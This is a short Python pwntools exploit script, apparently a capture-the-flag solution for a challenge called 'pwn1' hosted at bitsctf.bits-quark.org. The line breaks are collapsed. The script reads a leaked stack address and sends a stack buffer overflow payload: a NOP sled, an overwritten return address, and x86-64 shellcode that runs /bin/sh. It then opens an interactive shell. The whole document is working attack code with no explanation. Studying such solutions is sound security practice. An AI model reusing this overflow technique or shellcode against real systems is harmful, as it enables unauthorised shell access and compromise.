from pwn import *#s = process('./pwn1')s =   remote('bitsctf.bits-quark.org',1330)stack = s.recvline()print stackstack =  stack[:-1]stack = int(stack,16)payload = "\x90"*24payload += p64(stack+0x30)payload += "\x90"*20payload += "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"s.sendline(payload)s.interactive()